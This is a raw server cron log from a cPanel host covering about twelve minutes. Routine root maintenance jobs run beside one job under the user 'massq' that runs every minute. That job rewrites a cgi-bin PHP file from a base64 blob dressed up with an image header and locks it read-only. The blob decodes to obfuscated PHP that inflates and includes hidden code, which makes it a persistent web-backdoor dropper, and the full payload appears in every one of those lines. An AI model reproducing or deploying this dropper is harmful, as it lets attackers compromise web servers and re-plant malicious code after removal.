Sep  1 19:48:01 server CROND[25745]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:48:01 server CROND[25746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:48:01 server CROND[25747]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:49:01 server CROND[26184]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:49:01 server CROND[26186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:49:01 server CROND[26185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:50:01 server CROND[26566]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 19:50:01 server CROND[26567]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 19:50:01 server CROND[26621]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 19:50:01 server CROND[26629]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 19:50:01 server CROND[26633]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 19:50:01 server CROND[26634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:50:01 server CROND[26637]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:50:01 server CROND[26635]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 19:50:01 server CROND[26636]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:51:01 server CROND[27612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:51:01 server CROND[27613]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:51:01 server CROND[27614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:52:01 server CROND[27994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:52:01 server CROND[27995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:52:01 server CROND[27996]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:53:01 server CROND[28386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:53:01 server CROND[28387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:53:01 server CROND[28388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:54:01 server CROND[28820]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:54:01 server CROND[28821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:54:01 server CROND[28828]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:55:01 server CROND[29208]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 19:55:01 server CROND[29209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:55:01 server CROND[29210]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:55:01 server CROND[29215]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 19:55:01 server CROND[29212]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 19:55:01 server CROND[29214]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 19:55:01 server CROND[29211]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:56:01 server CROND[30145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:56:01 server CROND[30146]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:56:01 server CROND[30148]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:57:01 server CROND[30529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:57:01 server CROND[30528]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 19:57:01 server CROND[30530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:57:01 server CROND[30531]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:58:01 server CROND[30909]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:58:01 server CROND[30910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:58:01 server CROND[30911]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:59:01 server CROND[31299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:59:01 server CROND[31301]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:59:01 server CROND[31302]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:00:01 server CROND[31720]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 20:00:01 server CROND[31724]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 20:00:01 server CROND[31725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:00:01 server CROND[31728]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
